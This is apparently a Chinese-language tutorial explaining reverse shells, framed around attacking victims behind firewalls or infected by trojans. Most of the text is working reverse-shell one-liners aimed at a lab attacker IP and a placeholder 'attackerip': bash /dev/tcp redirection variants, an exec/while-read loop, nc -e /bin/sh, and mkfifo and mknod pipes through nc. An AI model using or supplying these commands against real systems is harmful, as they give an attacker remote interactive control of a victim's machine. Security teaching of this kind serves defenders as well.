反弹shell

注意:本文主要参考文章: https://xz.aliyun.com/t/2548 https://xz.aliyun.com/t/2549

1.什么是反弹shell

  • reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2.为什么要反弹shell

  • 假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
  • 某客户机中了你的网马,但是它在局域网内,你直接连接不了
  • 它的ip会动态改变,你不能持续控制
  • 由于防火墙等限制,对方机器只能发送请求,不能接收请求
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策
  • 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接

3.反弹shell的实现案例

  • 实验环境:

    • 受害者:Ubuntu Linux ——> 192.168.74.135
    • 攻击机:kali Linux ——> 192.168.74.128
  • 常见语句:

    • attacker: nc -lvp 5444

    • victim: bash -i >& /dev/tcp/192.168.74.128/5444 0>&1 2.反弹shell--反弹原理 - 图1

    • 此时出现了victim的shell 终端

  • 语句解释:

    • bash -i : 产生交互式的shell

    • /dev/tcp/ip/port:/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的2.反弹shell--反弹原理 - 图2

2.反弹shell--反弹原理 - 图32.反弹shell--反弹原理 - 图4 2.反弹shell--反弹原理 - 图5 2.反弹shell--反弹原理 - 图6

4. 交互重定向

  • 为了实现交互,我们需要把受害者交互式shell的输出重定向到攻击机上

在受害者机器上输入

  1. bash -i > /dev/tcp/192.168.74.128/5444

2.反弹shell--反弹原理 - 图7

如下图所示,任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

2.反弹shell--反弹原理 - 图8

2.反弹shell--反弹原理 - 图9

但是这里有一个问题,攻击者没有能够实现对受害者的控制,攻击者执行的命令没法在受害者电脑上执行。

所以需要这样一条命令:

  1. bash -i < /dev/tcp/192.168.74.128/5444

2.反弹shell--反弹原理 - 图10

2.反弹shell--反弹原理 - 图11

2.反弹shell--反弹原理 - 图12

现在我们需要将两条指令结合起来(如果这条指令看不懂可以去看一下我上面提供的文章的链接再回来看这条指令):

  1. bash -i > /dev/tcp/192.168.74.128/5444 0>&1

由这张示意图可以很清楚地看到,输入0是由/dev/tcp/192.168.74.128/5444 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.74.128/5444上,这就形成了一个回路,实现了我们远程交互式shell 的功能 2.反弹shell--反弹原理 - 图13

2.反弹shell--反弹原理 - 图14

注意:
但是这里有一个问题,就是我们在受害者机器上依然能看到我们在攻击者机器中执行的指令 ,如下图所示,我们马上解决

使用>&&>

  1. bash -i > /dev/tcp/192.168.74.128/5444 0>&1 2>&1
  1. bash -i >& /dev/tcp/192.168.74.128/5444 0>&1

至此,我们的反弹shell的经典语句就分析完了,通过这条语句的分析我们能大致的了解反弹shell的本质

5.常见shell

  • 第一种:
  1. bash -i>& /dev/tcp/192.168.74.128/5444 0>&1
  1. bash -i>& /dev/tcp/192.168.74.128/5444 0<&1

这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别

  • 第二种:
  1. bash -i >& /dev/tcp/192.168.74.128/5444 <&2
  1. bash -i >& /dev/tcp/192.168.74.128/5444 0<&2
  • 第三种:
  1. exec 5<>/dev/tcp/192.168.74.128/5444;cat <&5|while read line;do $line >&5 2>&1;done
  • 解释:
    1. command|while read line do .....done
    2. //原句:
    3. while read line
    4. do
    5. done < file


从文件中依次读取每一行,将其赋值给 line 变量(当然这里变量可以很多,以空格分隔,这里我就举一个变量的例子,如果是一个变量的话,那么一整行都是它的了),之后再在循环中对line进行操作。
而现在我们不是从file 文件中输入了,我们使用管道符对攻击者机器上输入的命令依次执行,并将标准输出和标准错误输出都重定向到了文件描述符5,也就是攻击机上,实现交互式shell的功能。
与上一句类似的命令:

  1. 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196
  • 第四种:在nc版本正确的情况下,受害机直接用nc
  1. nc -e /bin/sh 192.168.74.128 5444

如果没有nc,可以用以下命令代替

  1. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.74.128 5444 >/tmp/f
  • 简单解释

    • mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

      1. mknod backpipe p; nc 192.168.74.128 5444 0<backpipe | /bin/bash 1>backpipe 2>backpipe

6.参考文章